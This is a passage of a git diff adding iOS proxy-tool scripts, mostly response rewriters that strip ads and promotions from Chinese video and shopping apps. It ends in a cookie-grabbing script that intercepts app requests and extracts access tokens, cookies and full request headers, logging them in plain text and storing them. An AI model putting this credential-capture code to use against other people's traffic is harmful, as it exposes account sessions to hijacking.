0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +// API end \ No newline at end of file diff --git a/Scripts/cmschina/cmschina.js b/Scripts/cmschina/cmschina.js new file mode 100644 index 00000000..f3b26d22 --- /dev/null +++ b/Scripts/cmschina/cmschina.js @@ -0,0 +1,18 @@ +try { + let obj = JSON.parse($response.body); + + // 去除首页横幅广告 + if (obj.body?.app_home_banner?.data) { + obj.body.app_home_banner.data = []; + } + + // 去除理财页横幅广告 + if (obj.body?.tagbanner2024?.data) { + obj.body.tagbanner2024.data = []; + } + + $done({ body: JSON.stringify(obj) }); +} catch (e) { + console.log("招商证券广告去除脚本异常:" + e); + $done({}); +} \ No newline at end of file diff --git a/Scripts/cnftp.js b/Scripts/cnftp.js new file mode 100644 index 00000000..9f836265 --- /dev/null +++ b/Scripts/cnftp.js @@ -0,0 +1,873 @@ +// 2025-03-08 22:15 + +const url = $request.url; +if (!$response.body) $done({}); +const isIQY = url.includes("iqiyi.com/"); +const isMG = url.includes("mgtv.com/"); +const isYK = url.includes("youku.com/"); +let obj = JSON.parse($response.body); + +if (isIQY) { + if (url.includes("/bottom_theme?")) { + // 爱奇艺 底部tab + if (obj?.cards?.length > 0) { + let card = obj.cards[0]; + if (card?.items?.length > 0) { + // 29首页 31会员中心 34我的 35发现 184随刻视频 + card.items = card.items.filter((i) => ["29", "31", "34"]?.includes(i?._id)); + // 修复位置 + for (let i = 0; i < card.items.length; i++) { + card.items[i].show_order = i + 1; + } + } + } + } else if (url.includes("/common_switch?")) { + // 爱奇艺 通用配置 + if (obj?.content?.resource) { + const items = [ + "activities", + "ai_guide", // ai指引 + "cast_device_ad", + "flow_promotion", // 播放器 右上角免流按钮 + "growth_award", // 播放器 会员成长积分 + "ip_restriction_ad", + "member", + "ppc_feed_insert", + "second_floor_guide", + "speed_ad", + "vip_tips", + "vipgrowth_value", // 播放器 会员成长体系 + "vr" + ]; + for (let i of items) { + delete obj.content.resource[i]; + } + } + } else if (url.includes("/control/")) { + // 爱奇艺 首页左上角天气图标 + if (obj?.content?.weather) { + delete obj.content.weather; + } + } else if (url.includes("/getMyMenus?")) { + // 爱奇艺 我的页面 + if (obj?.data?.length > 0) { + let newMenus = []; + for (let item of obj.data) { + if (["wd_liebiao_2", "wd_liebiao_3", "wd_liebiao_4"]?.includes(item?.statistic?.block)) { + // 精简列表 + continue; + } else { + if (item?.menuList?.length > 0) { + let newLists = []; + for (let i of item.menuList) { + if (i?.menuType === 121) { + // 121有奖限时问卷 + continue; + } else { + newLists.push(i); + } + } + item.menuList = newLists; + newMenus.push(item); + } else { + newMenus.push(item); + } + } + } + obj.data = newMenus; + } + } else if (url.includes("/home_top_menu?")) { + // 爱奇艺 顶部tab + if (obj?.cards?.length > 0) { + let card = obj.cards[0]; + if (card?.items?.length > 0) { + // 1017直播 8196热点 4525518866820370中国梦 + card.items = card.items.filter((i) => !["1017", "8196", "4525518866820370"]?.includes(i?._id)); + for (let i = 0; i < card.items.length; i++) { + card.items[i].show_order = i + 1; + } + } + } + } else if (url.includes("/mixer?")) { + // 爱奇艺 开屏广告 播放广告 + if (obj?.errorCode === 0) { + const items = ["adSlots", "splashLottieFile", "splashUiConfig"]; + for (let i of items) { + delete obj[i]; + } + } + } else if (url.includes("/search.video.iqiyi.com/")) { + // 爱奇艺 搜索框填充 + if (obj?.cache_expired_sec) { + obj.cache_expired_sec = 1; + } + if (obj?.data) { + obj.data = [{query: "搜索内容"}]; + } + if (obj?.show_style?.roll_period) { + obj.show_style.roll_period = 1000; + } + } else if (url.includes("/views_category/")) { + // 爱奇艺 各菜单列表 剧集 电影 综艺 信息流 + if (obj?.base?.statistics?.ad_str) { + delete obj.base.statistics.ad_str; + } + if (obj?.cards?.length > 0) { + let newCards = []; + for (let card of obj.cards) { + if (card?.blocks?.length > 0) { + let newItems = []; + for (let item of card.blocks) { + // block_321顶部轮播广告 block_415横版独占广告标题 block_416 横版独占视频广告 + if (["block_321", "block_415", "block_416"]?.includes(item?.block_name)) { + continue; + } else if (item?.buttons?.[0]?.id === "ad") { + continue; + } else { + newItems.push(item); + } + } + card.blocks = newItems; + newCards.push(card); + } else { + newCards.push(card); + } + } + obj.cards = newCards; + } + } else if (url.includes("/views_comment/")) { + // 爱奇艺 播放页评论区 + if (obj?.cards?.length > 0) { + // 评论资源位 无alias_name字段的为广告 + obj.cards = obj.cards.filter( + (i) => i.hasOwnProperty("alias_name") && !["comment_resource_card", "comment_resource_convention_card"]?.includes(i?.alias_name) + ); + } + } else if (url.includes("/views_home/")) { + // 爱奇艺 信息流样式1 + if (obj?.base?.statistics?.ad_str) { + delete obj.base.statistics.ad_str; + } + if (obj?.cards?.length > 0) { + let newCards = []; + for (let card of obj.cards) { + // ad_mobile_flow信息流广告 ad_trueview信息流广告 focus顶部横版广告 qy_home_vip_opr_banner会员营销banner + if (["ad_mobile_flow", "ad_trueview", "focus", "qy_home_vip_opr_banner"]?.includes(card?.alias_name)) { + continue; + } else { + if (card?.top_banner?.l_blocks?.length > 0) { + // 模块右边文字按钮 + for (let item of card.top_banner.l_blocks) { + if (item?.buttons?.length > 0) { + // 移除按钮 娱乐资源 + delete item.buttons; + } + } + newCards.push(card); + } else { + newCards.push(card); + } + } + } + obj.cards = newCards; + } + } else if (url.includes("/views_plt/")) { + // 爱奇艺 播放详情页组件 + if (obj?.kv_pair) { + // activity_tab活动标签页 cloud_cinema云影院卡片 vip_fixed_card会员优惠购买卡片 + const items = ["activity_tab", "cloud_cinema", "vip_fixed_card"]; + for (let i of items) { + delete obj.kv_pair[i]; + } + } + if (obj?.cards?.length > 0) { + obj.cards = obj.cards.filter( + (i) => + ![ + "bi_playlist", // 必播单 当下最热电影推荐 + // "cloud_cinema_detail_character", // 云影院演员列表 + // "cloud_cinema_detail_synopsis", // 云影院详情简介 + // "cloud_cinema_play_detail_tag", // 云影院详情标签 + "cloud_cinema_play_privilege", // 云影院底部文字 + "cloud_cinema_playlist", // 云影院播单 + "cloud_cinema_playlist_1", // 云影院播单2 + "cloud_cinema_playlist_2", // 云影院播单3 + // "cloud_cinema_preview_collection", // 云影院预告片选集 + "cloud_cinema_privilege_icon", // 云影院内容权益 + "cloud_cinema_star_activities", // 云影院推广横幅 + "play_ad_no_vip", // 视频关联广告 + "play_around", // 周边视频 短视频 + // "play_collection", // 选集 + "play_custom_card", // 偶像练习生定制卡片 + // "play_detail_tag", // 详情标签 + // "play_rap_custom", // 综艺 svip舞台纯享 + // "play_series_collection", // 综艺 选集 看点 + "play_splendid_collection", // 综艺 合集 正片没有的都在这里 + "play_type_topical_card_3", // 综艺 幕后花絮 + "play_type_topical_card_4", // 综艺 精彩二创 + "play_variety_custom_2", // 综艺 精彩看点 + "play_vertical", // 综艺 竖屏内容 + "play_vip_promotion", // 会员推广 + "play_water_fall_like", // 猜你喜欢 + "play_water_fall_like_title", // 猜你喜欢标题 + "plt_cloud_cinema_photo", // 云影院剧照 清晰度低 + // "plt_cloud_cinema_short1", // 云影院官方短视频 + "plt_cloud_cinema_short2", // 云影院短视频剪辑 + "plt_playlist", // 播单 + "plt_playlist_1", // 播单2 + "plt_playlist_2", // 播单3 + "funny_short_video" // 精彩短视频 + ]?.includes(i?.alias_name) + ); + } + } else if (url.includes("/views_search/")) { + // 爱奇艺 搜索结果列表 + if (obj?.cards?.length > 0) { + let newCards = []; + for (let card of obj.cards) { + if ( + [ + "ad_mobile_flow", // 信息流广告 + "hot_query_bottom", // 底部图标 + "hot_query_search_top_ad", //顶部广告 + "search_com_related_query", // 相关搜索 + "search_intent_detail_onesearch", // 为你推荐信息流 + "search_mid_text_ad", // 底部广告 + "search_onebox_v2", // 搜索界面 赢年卡 + "search_small_card_ad", // 搜索短视频小图广告 + "search_topbanner_text", // 为你推荐标题 + "search_vip_banner" // vip营销 + ]?.includes(card?.strategy_com_id) + ) { + continue; + } else { + // 相关内容推荐 相关短视频 + if (card?.blocks?.length > 0) { + let newBlocks = []; + for (let i of card.blocks) { + if (i.hasOwnProperty("block_name")) { + newBlocks.push(i); + } else if (i.hasOwnProperty("block_type")) { + if (![861, 959]?.includes(i?.block_type)) { + // 861搜索页精确搜索时 第一个自动播放的内容 + // 959广告 + newBlocks.push(i); + } + } + } + card.blocks = newBlocks; + newCards.push(card); + } else { + newCards.push(card); + } + } + } + obj.cards = newCards; + } + } else if (url.includes("/waterfall/")) { + // 爱奇艺 信息流样式2 + if (obj?.base?.statistics?.ad_str) { + delete obj.base.statistics.ad_str; + } + if (obj?.cards?.length > 0) { + let newCards = []; + for (let card of obj.cards) { + if (card.hasOwnProperty("block_class")) { + // 有block_class字段的为广告 + continue; + } else { + if (card?.blocks?.length > 0) { + let newItems = []; + for (let item of card.blocks) { + if (item.hasOwnProperty("block_class")) { + // 有block_class字段的为广告 + continue; + } else { + newItems.push(item); + } + } + card.blocks = newItems; + newCards.push(card); + } else { + newCards.push(card); + } + } + } + obj.cards = newCards; + } + } +} else if (isMG) { + if (url.includes("/dynamic/v1/channel/index/")) { + // 芒果 首页信息流 + if (obj?.adInfo) { + delete obj.adInfo; + } + if (obj?.data?.length > 0) { + let newItems = []; + for (let item of obj.data) { + // 908热剧轮播 + if (item?.moduleEntityId === "91") { + // 首页正在追模块 + if (item?.DSLList?.length > 0) { + let newLists = []; + for (let i of item.DSLList) { + if (i?.data?.items?.length > 0) { + let newII = []; + for (let ii of i.data.items) { + if (ii?.id === 0) { + // 正在追模块 艺人周边 小芒 + continue; + } else if (["热门", "推荐"]?.includes(ii?.cornerTitle)) { + continue; + } else { + newII.push(ii); + } + } + i.data.items = newII; + newLists.push(i); + } else { + newLists.push(i); + } + } + item.DSLList = newLists; + newItems.push(item); + } else { + newItems.push(item); + } + } else if (["842", "2237", "5418"]?.includes(item?.moduleEntityId)) { + // 842会员首月特惠 2237横版购物tab 5418横版推广图片 + continue; + } else { + newItems.push(item); + } + } + obj.data = newItems; + } + if (obj?.moduleIDS?.length > 0) { + obj.moduleIDS = obj.moduleIDS.filter((i) => !["842", "2237", "5418"]?.includes(i?.moduleEntityId)); + } + } else if (url.includes("/dynamic/v1/channel/vrsList/")) { + // 芒果 顶部tab + if (obj?.data?.length > 0) { + let newItems = []; + for (let item of obj.data) { + if (item?.vclassId > 100033 && item?.vclassId !== 100160) { + // 100033热门 100043短剧 100160会员频道精选 100308短视频 + continue; + } else { + newItems.push(item); + } + } + obj.data = newItems; + } + } else if (url.includes("/mobile/config?")) { + // 芒果 底部tab + const items = [ + "XmVideoB", + "XmsellSwitch", + "damang_duanju_tab", + "damang_tab", + "dc_adConfig", + "relative_ads", + "second_floor_guide_switch" + ]; + for (let i of items) { + if (obj?.data?.[i]) { + obj.data[i] = "0"; + } + } + if (obj?.data?.XmFsLvlCatAddr) { + obj.data.XmFsLvlCatAddr = ""; + } + } else if (url.includes("/mobile/recommend/v2?")) { + // 芒果 搜索框填充词 + if (obj?.data?.default) { + obj.data.default = {0: ["搜索内容"]}; + } + if (obj?.data?.recommend) { + obj.data.recommend = []; + } + if (obj?.data?.interval) { + obj.data.interval = 1000; + } + } else if (url.includes("/odin/c1/channel/index?")) { + // 芒果 首页信息流 + if (obj?.data?.length > 0) { + let newItems = []; + for (let item of obj.data) { + if (item?.moduleType === "childslideicon") { + // 横版按钮 + continue; + } else { + newItems.push(item); + } + } + obj.data = newItems; + } + } else if (url.includes("/v1/vod/info?")) { + // 芒果 播放页详情页组件 + if (obj?.data?.config?.ad) { + // 播放广告 + obj.data.config.ad.wmShowTime = 0; + } + if (obj?.data?.config?.videoRcMod) { + // 播放弹窗 + obj.data.config.videoRcMod.toastStatus = 0; + obj.data.config.videoRcMod.toastTime = 0; + } + if (obj?.data?.tabs?.length > 0) { + // 播放标签页 1视频 2讨论 + obj.data.tabs = obj.data.tabs.filter((i) => ["1", "2"]?.includes(i?.type)); + } + if (obj?.data?.template?.modules?.length > 0) { + // 播放页组件 + // 101简介 102点赞评论收藏 201正片列表 205会员衍生模块 206音频有声剧 + // 202精彩短片 203精选特辑 301热门内容 601周边大放送 701通栏广告 702大风车浮层广告 + let newMods = []; + for (let item of obj.data.template.modules) { + if ([202, 203, 301, 601, 701, 702]?.includes(item?.dataType)) { + continue; + } else { + if (item?.clipInfo?.rcInfo) { + // 播放界面推荐语 + delete item.clipInfo.rcInfo; + } + newMods.push(item); + } + } + obj.data.template.modules = newMods; + } + if (obj?.data?.template?.theme) { + // 播放页主题皮肤 + delete obj.data.template.theme; + } + } else if (url.includes("/v3/module/list?")) { + // 芒果 我的页面组件 + if (obj?.data?.list?.length > 0) { + let newList = []; + for (let item of obj.data.list) { + // 1顶部模块 扫一扫 消息 搜索 设置 + // 2用户信息模块 芒果卡 个人信息 + // 3推荐位模块 购买会员 会员周边 + // 4用户内容模块 播放记录 追更 + // 5大芒计划 创作中心 热门作品 征稿活动 + // 5我的小芒 电商 订单 + // 6banner图模块 广告轮播图 + // 7我的服务 客服 皮肤 意见反馈 + // 8运营商专区 芒果卡 免流 + // 8兴趣中心 抓娃娃 + // 8推荐功能 钱包 福袋 芒果公益 + if ([3, 5, 6, 8]?.includes(item?.moduleType)) { + // 推广模块 + continue; + } else if (item?.moduleType === 2 && item?.title === "用户信息模块") { + // 用户信息 + if (item?.data?.length > 0) { + let newItems = []; + for (let i of item.data) { + if (["领取芒果卡权益", "签到赢积分"]?.includes(i?.title)) { + continue; + } else { + newItems.push(i); + } + } + item.data = newItems; + newList.push(item); + } else { + newList.push(item); + } + } else if (item?.moduleType === 7 && item?.title === "我的服务") { + // 我的服务 + if (item?.data?.length > 0) { + let newItems = []; + for (let i of item.data) { + if (["功能实验室", "芒果壁纸", "我的音乐"]?.includes(i?.title)) { + continue; + } else { + newItems.push(i); + } + } + item.data = newItems; + newList.push(item); + } else { + newList.push(item); + } + } else { + newList.push(item); + } + } + obj.data.list = newList; + } + } else if (url.includes("/v10/video/info?")) { + // 芒果 播放详情页组件 + if (obj?.data?.categoryList?.length > 0) { + // 1正片 2花絮片段 6设备信息 7未知 8看了还会看 9精华打包 10未知 14vip + // 15未知 17周边大放送 18未知 20出品人 22未知 30未知 31系列推荐 + // 35音乐fm入口 36为你推荐 37音乐fm入口 + obj.data.categoryList = obj.data.categoryList.filter((i) => ![2, 8, 9, 14, 17]?.includes(i?.dataType)); + } + } +} else if (isYK) { + if (url.includes("/collect-api/get_push_interval_config_wx?")) { + // 优酷 热剧弹窗 + if (obj?.data) { + const items = ["tipContent", "tipContentNew"]; + for (let i of items) { + delete obj.data[i]; + } + } + } else if (url.includes("columbus.gateway.new.execute")) { + // 优酷 播放详情页组件 + if (obj?.data?.["2019030100"]?.data) { + let objData = obj.data["2019030100"].data; + if (objData?.data?.global) { + let config = objData.data.global; + if (config?.PHONE_DETAIL_TOP_TAB?.pageTabs?.length > 0) { + // detail视频 list热门 planet讨论 + config.PHONE_DETAIL_TOP_TAB.pageTabs = config.PHONE_DETAIL_TOP_TAB.pageTabs.filter((i) => + ["detail", "planet"]?.includes(i?.code) + ); + } + } + if (objData?.nodes?.length > 0) { + if (objData?.nodes?.length === 1) { + let node0 = objData.nodes[0]; + if (node0?.nodes?.length > 0) { + if (node0?.typeName === "NORMAL") { + node0.nodes = node0.nodes.filter( + (i) => + ![ + "PHONE_CHD_AGE_DETAIL_2", + "PHONE_CHILD_SERIES_A", + "PHONE_CHILD_STAR_A", + "PHONE_DEFALT_SCROLL_C", + "Phone运营banner", + "播放页触达组件", // 新版 + "播放页广告组件", + "播放页会员引导组件", + "播放页活动组件", + "播放页全屏播后推荐组件", + "播放页少儿品牌专区组件", + "播放页推荐组件", + "播放页用户触达组件", // 旧版 + "播放页有料不能停组件", + "球区自动化组件", + "优酷购" + ]?.includes(i?.typeName) + ); + } else if (node0?.typeName === "FEED_CHILD_DRAWER_PAGINATION") { + // 播放页推荐信息流 + if (node0?.nodes) { + node0.nodes = []; + } + } else if (node0?.typeName === "FEED_DRAWER_PAGINATION") { + // 播放页推荐信息流 + if (node0?.nodes) { + node0.nodes = []; + } + } + } + } else { + objData.nodes = []; + } + } + } + } else if (url.includes("columbus.home.feed/")) { + // 优酷 首页信息流 + if (obj?.data?.["2019061000"]?.data) { + let objData = obj.data["2019061000"].data; + if (objData?.nodes?.length > 0) { + let newNodes1 = []; + for (let node1 of objData.nodes) { + if (node1?.typeName === "PHONE_FEED_CARD_GROUP") { + if (node1?.nodes?.length > 0) { + let newNode2 = []; + for (let node2 of node1.nodes) { + if (node2?.typeName === "PHONE_FEED_CARD_S_AD") { + // 首页 四格小图广告 + continue; + } else if (node2?.typeName === "PHONE_H_UC_AD") { + // 首页 横版独占广告 + continue; + } else { + newNode2.push(node2); + } + } + node1.nodes = newNode2; + newNodes1.push(node1); + } else { + newNodes1.push(node1); + } + } else { + newNodes1.push(node1); + } + } + objData.nodes = newNodes1; + } + } + } else if (url.includes("columbus.home.query/")) { + // 优酷 各菜单列表 剧集 电影 综艺 信息流 + if (obj?.data?.["2019061000"]?.data) { + let objData = obj.data["2019061000"].data; + if (objData?.data?.indexPositionResult?.length > 0) { + // 首页 第零层级 二楼 + objData.data.indexPositionResult = []; + } + if (objData?.nodes?.length > 0) { + let newNodes1 = []; + for (let node1 of objData.nodes) { // 第一层级node,属于obj.data[2019061000].data.nodes + if (["CHILD", "COMIC2", "20230929GREATWORKMFK"]?.includes(node1?.data?.nodeKey)) { + // 首页 少儿 动漫 国庆长假免费看 + continue; + } else { + if (node1?.data?.indexPositionResult?.length > 0) { + // 剧集 电影 二楼 + node1.data.indexPositionResult = []; + } + if (node1?.data?.refreshImg) { + // 电影 综艺 纪录片 下拉刷新的背景图片 + delete node1.data.refreshImg; + } + // 首页 剧集 电影 全都有信息流广告 + // 去掉nodeKey的判断 直接处理下一层级 + if (node1?.nodes?.length > 0) { + let newNode2 = []; + for (let node2 of node1.nodes) { // 第二层级循环 node + if (node2?.data?.crmSale) { + // 季卡会员横幅 + delete node2.data.crmSale; + } + if (["UC广告抽屉", "橱窗广告"].includes(node2?.typeName)) { + // 横版独占广告 + continue; + } else if (node2?.id === 31476) { + // 正在热播 + if (node2?.data?.keywords?.length > 0) { + // 滚动热词 + delete node2.data.keywords; + } + } else if (node2?.id === 35505) { + // 优惠购会员横幅 + continue; + } else if (node2?.id === 37335) { + // 首页二楼 + continue; + } else { + // 16214 猜你在追 + // 38820 首页顶部轮播图 + if (node2?.nodes?.length > 0) { + let newNode3 = []; + for (let node3 of node2.nodes) { // 第三层级循环 node + if ( + [ + "PHONE_FEED_CARD_B_AD", // 横版独占广告 + "PHONE_FEED_CARD_S_AD", // 四格小图广告 + "PHONE_H_UC_AD", // 剧集 横版独占广告 + "PHONE_IMG_A", // 剧集 开通会员卡片 + "PHONE_YK_AD_BANNER" // 剧集 横版独占广告 + ].includes(node3?.typeName) + ) { + continue; + } else if (node3.id === 272768) { // 首页的轮播广告 + console.log("移除首页的轮播广告"); + continue; + } else { + if (node3?.nodes?.length > 0) { + let newNode4 = []; + for (let node4 of node3.nodes) { // 第四层级循环 + if (node4?.typeName === "PHONE_FEED_CARD_S_AD") { + // 剧集 四格小图广告 + continue; + } else if (node4?.data.hasOwnProperty("ad")) { + // 有ad字段的为广告 + continue; + } else { + newNode4.push(node4); + } + } + node3.nodes = newNode4; + newNode3.push(node3); + } else { + newNode3.push(node3); + } + } + } + node2.nodes = newNode3; + newNode2.push(node2); + } else { + newNode2.push(node2); + } + } + } + node1.nodes = newNode2; + } + newNodes1.push(node1); + } + } + objData.nodes = newNodes1; + } + } + } else if (url.includes("columbus.uc.query/")) { + // 优酷 我的页面组件 + if (obj?.data?.["2019061000"]?.data) { + let objData = obj.data["2019061000"].data; + if (objData?.nodes?.length > 0) { + let objNodes = objData.nodes[0]; + if (objNodes?.nodes?.length > 0) { + let newNodes = []; + for (let item of objNodes.nodes) { + if (item?.id === 32133) { + // 横幅视频广告 + continue; + } else if (item?.id === 32775) { + // 个人中心二楼 + continue; + } else if (item?.id === 22570) { + // 横版轮播图 + continue; + } else if (item?.id === 28912) { + // 我的下载 收藏 购买 场景 + if (item?.nodes?.length > 0) { + let newII = []; + for (let ii of item.nodes) { + if (ii?.id === 110429) { + // 免费兑换VIP + continue; + } + newII.push(ii); + } + item.nodes = newII; + newNodes.push(item); + } else { + newNodes.push(item); + } + } else if (item?.id === 35942) { + // 我的专属推荐 + continue; + } else if (item?.id === 36014) { + // 业务区 星光币 优酷购 数字藏品 + continue; + } else if (item?.id === 36015) { + // 功能区 卡卷包 商城 设置 + if (item?.nodes?.length > 0) { + let node0 = item.nodes[0]; + if (node0?.nodes?.length > 0) { + let newII = []; + for (let ii of node0.nodes) { + // 683364卡卷包 683359个性商城 683501TV助手 683367设置 + // 683368我的客服 683502意见反馈 683366有奖调研 683372更多 + if ([683367, 683368, 683372, 683502]?.includes(ii?.id)) { + newII.push(ii); + } + } + node0.nodes = newII; + newNodes.push(item); + } else { + newNodes.push(item); + } + } else { + newNodes.push(item); + } + } else if (item?.id === 38466) { + // 横幅广告 + continue; + } else { + newNodes.push(item); + } + } + objNodes.nodes = newNodes; + } + } + } + } else if (url.includes("columbus.ycp.query/")) { + // 优酷 播放页评论区 + if (obj?.data?.["2019061000"]?.data) { + let objData = obj.data["2019061000"].data; + if (objData?.nodes?.length > 0) { + let objNodes = objData.nodes[0]; + if (objNodes?.nodes?.length > 0) { + let newNodes = []; + for (let item of objNodes.nodes) { + if (item?.id === 23242) { + // 评论区顶部 + if (item?.nodes?.length > 0) { + let newItems = []; + for (let i of item.nodes) { + if (i?.typeName === "COMPONENT_YCP_NOTICE") { + // 评论区守则 轮播通告 + continue; + } else if (i?.id === 113941) { + // 明星空降评论区 + continue; + } else { + newItems.push(i); + } + } + item.nodes = newItems; + newNodes.push(item); + } else { + newNodes.push(item); + } + } else if (item?.id === 23243) { + // 评论区留言 + if (item?.nodes?.length > 0) { + let newItems = []; + for (let i of item.nodes) { + if (i?.id === -1000) { + // 评论区广告 + continue; + } else { + newItems.push(i); + } + } + item.nodes = newItems; + newNodes.push(item); + } else { + newNodes.push(item); + } + } else { + newNodes.push(item); + } + } + objNodes.nodes = newNodes; + } + } + } + } else if (url.includes("haidai.lantern.appconfig.get/")) { + // 优酷 底部tab + if (obj?.data?.model?.configInfo?.bottomNavigate) { + let bottom = obj.data.model.configInfo.bottomNavigate; + if (bottom?.data?.bottomTabList?.length > 0) { + // HOME首页 DONGTAI短视频 SEARCH淘好片 VIP_MEMBER会员 NEW_UCENTER我的 + bottom.data.bottomTabList = bottom.data.bottomTabList.filter((i) => + ["HOME", "NEW_UCENTER", "VIP_MEMBER"]?.includes(i?.type) + ); + // 修复位置 + for (let i = 0; i < bottom.data.bottomTabList.length; i++) { + bottom.data.bottomTabList[i].menuIndex = i + 1; + } + } + } + } else if (url.includes("huluwa.dispatcher.youthmode.config2/")) { + // 优酷 青少年模式弹窗 + if (obj?.data?.result) { + obj.data.result = {}; + } + } else if (url.includes("play.ups.appinfo.get/")) { + // 优酷 开屏广告 播放广告 + if (obj?.data?.data) { + const items = ["ad", "watermark", "ykad"]; + for (let i of items) { + delete obj.data.data[i]; + } + } + } else if (url.includes("soku.yksearch/")) { + // 优酷 搜索页面组件 + if (obj?.data?.nodes?.length > 0) { + // 仅保留搜索tab + obj.data.nodes = obj.data.nodes.filter((i) => i.hasOwnProperty("data")); + } + } +} + +$done({body: JSON.stringify(obj)}); \ No newline at end of file diff --git a/Scripts/coco.js b/Scripts/coco.js new file mode 100644 index 00000000..42f92058 --- /dev/null +++ b/Scripts/coco.js @@ -0,0 +1,4 @@ +let obj=JSON.parse($response.body); +delete obj.data.top_background_url ; +delete obj.data.bottom_banner_list ; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/cookie/get_cookie.js b/Scripts/cookie/get_cookie.js new file mode 100644 index 00000000..f5066403 --- /dev/null +++ b/Scripts/cookie/get_cookie.js @@ -0,0 +1,344 @@ +/** + * @author fmz200 + * @function 获取应用的cookie或token通用脚本 + * @date 2024-11-10 15:00:00 + */ + +//////////////////////////////// +const $ = new API("获取Cookie或Token通用脚本"); +const req_url = $request.url; +const req_headers = $request.headers; +const req_body = $request.body; +let rsp_body = "{}"; +// 检查 $response 是否已定义 +if (typeof $response !== 'undefined' && $response !== null) { + // 如果 $response 已定义且不为 null,则使用 $response.body + rsp_body = $response.body; +} + +// 遍历头部对象并打印每个字段和值 +console.log("遍历头部对象并打印每个字段和值开始❇️"); +for (const headerField in req_headers) { + console.log(`${headerField}: ${req_headers[headerField]}`); +} +console.log("遍历头部对象并打印每个字段和值结束🍓"); + +try { + /** + * 奇瑞汽车App + * 手机APP进入"我的"页面,即可获取cookie + * @keyword fmz200_chery_account + */ + if (req_url.includes("/web/user/current/details?")) { + // 使用正则表达式匹配 + const regex = /access_token=([^&]*)/; + // 执行正则表达式匹配 + let match = req_url.match(regex); + // 匹配结果存储在数组的第二个元素中 + const access_token = match ? match[1] : ""; + console.log(`获取到access_token:${access_token}`); + let rsp_data = JSON.parse(rsp_body); + if (rsp_data.data?.accountId) { + let accountId = rsp_data.data.accountId; + let avatarUrl = rsp_data.data.avatarUrl; + let displayName = rsp_data.data.displayName; + console.log("账号[" + accountId + "]获取到获取到数据:" + access_token); + + let cache = $.read("#fmz200_chery_account") || "[]"; + console.log("读取到缓存数据:" + cache); + let json_data = JSON.parse(cache); + updateOrAddObject(json_data, "accountId", accountId, "access_token", access_token, "displayName", displayName, "avatarUrl", avatarUrl); + const cacheValue = JSON.stringify(json_data, null, "\t"); + + $.write(cacheValue, '#fmz200_chery_account'); + $.notify('奇瑞汽车App 获取token成功✅', "", access_token); + } + } + + /** + * 什么值得买 + * 手机APP进入我的页面查看个人资料,即可获取cookie + * @keyword SMZDM_COOKIE + * @keyword fmz200_smzdm_cookie + */ + if (req_url.includes("/user-api.smzdm.com/users/info")) { + const cookie = req_headers['Cookie'] || req_headers['cookie']; + // 使用正则表达式匹配smzdm_id=数字 的模式 + let regex = /smzdm_id=(\d+)/; + // 执行正则表达式匹配 + let match = cookie.match(regex); + // 匹配结果存储在数组的第二个元素中 + let smzdm_id = match ? match[1] : ""; + console.log(smzdm_id + "获取到获取到数据:" + cookie); + + let cache = $.read("#fmz200_smzdm_cookie") || "[]"; + console.log("读取缓存数据:" + cache); + let json_data = JSON.parse(cache); + updateOrAddObject(json_data, "smzdm_id", smzdm_id, "cookie", cookie); + const cacheValue = JSON.stringify(json_data, null, "\t"); + + $.write(cookie, '#SMZDM_COOKIE'); + $.write(cacheValue, '#fmz200_smzdm_cookie'); + $.notify('什么值得买 获取cookie成功✅', "", cookie); + console.log('什么值得买 获取到的ck为:' + cookie); + } + + /** + * 拼多多果园 + * 小程序或APP进果园逛一圈+浇水,在请求头request-header中搜索PDDAccessToken, 多账号用@隔开:tk1@tk2 + * Cookie: pdd_vds=xxx; ETag=dKJLmoeS; PDDAccessToken=12HUHDUW; install_token=118E4FCA; + * @keyword ddgyck + * @keyword fmz200_pdd_token + */ + if (req_url.includes("/proxy/api/api/server/_stm")) { + const cookieValue = req_headers["Cookie"] || req_headers["cookie"]; + const token = cookieValue.match(/PDDAccessToken=.+?/); + if (token) { + $.write(token, '#ddgyck'); + $.write(token, '#fmz200_pdd_token'); + $.notify('拼多多果园 token获取成功', token, token); + console.log('拼多多果园 获取到的ck为:' + token); + } + } + + /** + * 美团获取token + * 点击“我的”-“个人头像”-"完善资料",在请求头request-header中搜索token + * @keyword meituanCookie + * @keyword fmz200_meituan_cookie + */ + if (req_url.includes("/user/v1/info/auditting") || req_url.includes("/mapi/usercenter")) { + console.log('美团获取token 开始'); + const token = req_headers['token'] || req_headers['Token']; + if (!token) { + $.done(); + } + console.log("获取到token:" + token); + $.write(token, '#meituanCookie'); + $.notify('美团获取token成功✅', "单账号更新成功,多账号更新中", token); + + console.log("开始更新多账号"); + let data = JSON.parse(rsp_body); + if (data.user) { + let uid = data.user.id; + let username = data.user.username; + console.log(`获取到uid:${uid},username:${username}`); + + let cache = $.read("#fmz200_meituan_cookie") || "[]"; + console.log("读取缓存数据:" + cache); + + let json_data = JSON.parse(cache); + updateOrAddObject(json_data, "meituan_id", uid, "username", username, "token", token); + const cacheValue = JSON.stringify(json_data, null, "\t"); + + $.write(cacheValue, '#fmz200_meituan_cookie'); + $.notify('美团多账号更新token成功✅', "", ""); + } + } + + /** + * 微博获取cookie + * 打开APP不定时获取 + * https://api.weibo.cn/2/users/show + * @keyword fmz200_weibo_token + */ + if (req_url.includes("/users/show")) { + console.log('微博获取cookie 开始'); + console.log('获取到的内容为:' + req_url); + // 使用正则表达式匹配uid参数值 + let uidPattern = /uid=(\d+)/; + let match = req_url.match(uidPattern); + + // 如果匹配到uid参数值,则提取出来并打印 + if (match) { + let uid = match[1]; + console.log("获取到以下账号的数据:"+ uid); + let cache = $.read("#fmz200_weibo_token") || "[]"; + console.log("读取缓存数据:" + cache); + + let json_data = JSON.parse(cache); + updateOrAddObject(json_data, "weibo_id", uid, "signin_url", req_url, "headers", req_headers); + const cacheValue = JSON.stringify(json_data, null, "\t"); + + $.write(cacheValue, '#fmz200_weibo_token'); + $.notify('微博获取cookie 成功✅', "你可以在日志中查看本次获取的数据", ""); + } else { + console.log("No uid found in the URL."); + $.notify('微博获取cookie 未获取到UID❗️', "你可以在日志中查看本次获取的数据", ""); + } + } + + /** + * 顺丰速运 + * 打开小程序或APP-我的-积分, 